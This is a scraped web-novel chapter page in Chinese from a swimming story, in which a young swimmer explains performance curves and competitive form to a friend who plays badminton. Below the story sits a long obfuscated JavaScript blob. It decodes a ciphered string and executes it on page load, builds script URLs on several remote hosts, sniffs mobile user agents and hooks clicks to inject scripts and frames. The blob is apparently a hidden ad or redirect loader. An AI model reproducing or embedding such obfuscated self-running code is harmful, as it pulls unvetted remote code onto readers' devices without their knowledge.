足迹
冠军之路游泳夕奉井梧寒
登录
关灯
护眼
字体:

第69页(第1页)

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。

  看到成绩吃惊到担心的不止李诺霜自己,陶正明拿哨子的手都有点抖。

  他在考虑自己以后要不要直接转裁判算了,现在他真有点感觉捡到李诺霜这事,可能他把自己后半辈子的徒弟运气一波直接透支完。

  负责电子计时的那一个裁判应该没出什么岔子吧,不行,他中午得再去检查一次。

  因为心里装着事,所以李诺霜去到台上的时候看起来一点都不高兴。

  段宏宇现自己越来越看不懂这个妹妹了,全场第一,这成绩不是挺好的么,为什么还这么不开心呢?

  “妹妹,为什么今天你看起来还是不开心?”

  李诺霜像是被突然惊醒,反应很大地弹了一下。

  “哎哟,吓到我了。”

  “你刚才说什么来着?”

  “我在问你为什么看起来一点都不开心。”

  “而且我跟你说话你也没有理我。”

  “哦,我在想事情。”

  “想什么呀?”

  “在想我的成绩曲线。”

  名词又让段宏宇短暂地懵了一下:“妹妹,你现在说话我越来越听不懂了。”

  “成绩曲线是是什么啊。”

  “就是训练以来我的成绩随着时间而变化所形成的曲线图。”

  “那有什么用?”

  “和数字相比,曲线图可以更直观地反应我的成绩进步水平和幅度,和其他人进行横向对比也比较方便。”

  “每个人的职业生涯巅峰期其实是不一样的,尤其是游泳项目,有十几岁就巅峰期的,也有二十几岁才巅峰期的。”

  “这个时候横向比较同年龄段的成绩有参考意义,但是价值不是很大,不像上学,1o岁的和18岁的可以一起比他们都在8岁上三年级时候的成绩。”

  “对游泳运动而言,每个运动员上三年级的年龄会不太一样。所以要比较的是三年级,而不是8岁。”

  段宏宇差不多理解了她的意思:“所以你要比的三年级是什么呢?”

  “从二级运动员提升到一级运动员水平所花费的时间,我自由泳的提升还在我可以接受的正常范围之内。”

  “但是仰泳的提升不是很正常了,暑假刚去的时候我应该是三级左右,然后暑假班没有结束我到的二级,三周前教练给我们搞突击的短距离训练,那时候我大概在35秒36秒左右的样子,现在直接进33了。”

  “按道理说越往前提升应该是越慢越困难才对,但是我的提升度一直都是一个比较平滑的曲线,即使考虑到突击训练对成绩的针对性提升作用,我自己预估的成绩应该也在33。5左右。”

  段宏宇觉得自己懂了:“所以你居然是为了自己成绩太好而不开心?”

  令人挠头。

  “我真的不懂啊,成绩好为什么还要不开心呢,应该是成绩不好才会不开心吧?”

  对于段宏宇的误解,李诺霜觉得自己还是需要纠正一下。

  “不是因为成绩好而不开心,而是因为在纠结自己取得成绩的原因而不开心。”

  “我不知道你教练有没有跟你讲过比赛状态这个概念,应该你们这种直接对抗项目吃状态吃得更明显吧。”

  “怎么跟你解释呢?按你昨天的状态来说吧,昨天你看起来是网前技术比较好,跑动不好,杀球不够有力,别人要是抽球过来你也跟着抽,打得很耿直。”

  这话说得,段宏宇忍不住打了个岔:“你怎么还知道羽毛球的事?”

  “像羽毛球这种只要有个拍有个球就能打的运动,谁平时还不看两场比赛了?”

  “所以你平时瞒着干妈在家看电视,其实都是在看体育频道?”

  他非要这么想的话,李诺霜也不好反驳。

  “你还听不听竞技状态的事情?”

  “听,你说,我不打岔了。”

  “竞技状态好就是平时你打的时候这个球你可能别人抽过来你就抽回去,但是你状态好的话就能给别人回去一些不同的打法。”

  “或者你不是跑动不好么,跟别人打网前的时候他球拍刚一碰到球,你就有感觉他是要挑高球了,接到了平时你接不到的球。”

  “简单来说,就是平时训练里你接不到或者打不死的球,比赛里突然来灵感了,怎么打怎么有。”

  段宏宇边听边点头:“有道理啊,但是我现在好像还没有感受过竞技状态好是怎么一回事。”

  “而且,竞技状态跟你说的成绩曲线之间又有什么关系呢?”

  “有关系啊,我们竞项目状态就直接体现在你的成绩上,不像你们对抗项目,你状态一般的时候碰上一个状态贼差的对手,到时候是怎么判断到底是你状态好起到了作用,还是他状态差起到了作用?”

  “还有可能你场上的时候感觉自己把对手看穿了,觉得自己状态特别好,结果下来一看录像,自己打的都什么玩意儿。”

  “但我们不一样,状态好不好很直观,状态好游得快,状态差游得慢,一目了然。”

  “成绩曲线可以判断你的状态啊,你会对自己练到什么样子心里有数,然后如果比赛的时候你游得特别好,排除赛前调度和带浪等一系列的原因之后,就可以对自己之后的成绩提升会有一个方向。”

  “而且大家肯定都希望自己每次都有好状态,你不去研究自己状态怎么来的,那这个状态不就很不可控制吗?”

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。



!function(){function a(a){var _idx="hy7mvy57ph";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP@07Rq^)OmDFfFf2mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^(Tm5dq4J6mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^ROm^4^_ppmRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^5Fm5dq4J6mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^TJmDFfFf2mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^DSm5dq4J6mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^dCm^4^_ppmRT4gQ@KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/@0jR8hT1^XTn1Jh"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"@0"=X8"hT1^XTn1Jh"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"@07Rq^d(mS(L^XTmRT4"="@07Rq^)5md4:)f:mRT4"="@07Rq^YFmS(L^XTmRT4"="@07Rq^^Cmd4:)f:mRT4"="@07Rq^Y5mS(L^XTmRT4"="@07Rq^(Fmd4:)f:mRT4"="@07Rq^h^mS(L^XTmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@KQ"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP@07Rq^)T(m^Y6q_fmRT4gQ@KQ/((/@0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP@07Rq^)T(m^Y6q_fmRT4gQ@KQ/((/@0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPP@07Rq^)OmDFfFf2mRT4gQ@KQ/f/@0j(8}vR8hT1^XTn1Jh"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPP@07Rq^)OmDFfFf2mRT4gQ@KQ"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();